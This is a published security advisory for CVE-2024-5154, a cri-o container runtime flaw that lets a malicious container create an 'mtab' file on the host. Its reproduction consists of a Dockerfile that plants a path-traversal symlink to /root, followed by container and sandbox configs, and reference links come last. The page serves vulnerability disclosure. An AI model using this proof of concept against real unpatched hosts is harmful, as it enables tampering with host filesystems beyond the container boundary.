CVE-2024-5154: malicious container creates symlink "mtab" on the host External
(updated )
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
References
- access.redhat.com/errata/RHSA-2024:10818
- access.redhat.com/errata/RHSA-2024:3676
- access.redhat.com/errata/RHSA-2024:3700
- access.redhat.com/errata/RHSA-2024:4008
- access.redhat.com/errata/RHSA-2024:4486
- access.redhat.com/security/cve/CVE-2024-5154
- bugzilla.redhat.com/show_bug.cgi?id=2280190
- github.com/advisories/GHSA-j9hf-98c3-wrm8
- github.com/cri-o/cri-o
- github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8
- nvd.nist.gov/vuln/detail/CVE-2024-5154
- pkg.go.dev/vuln/GO-2024-2919
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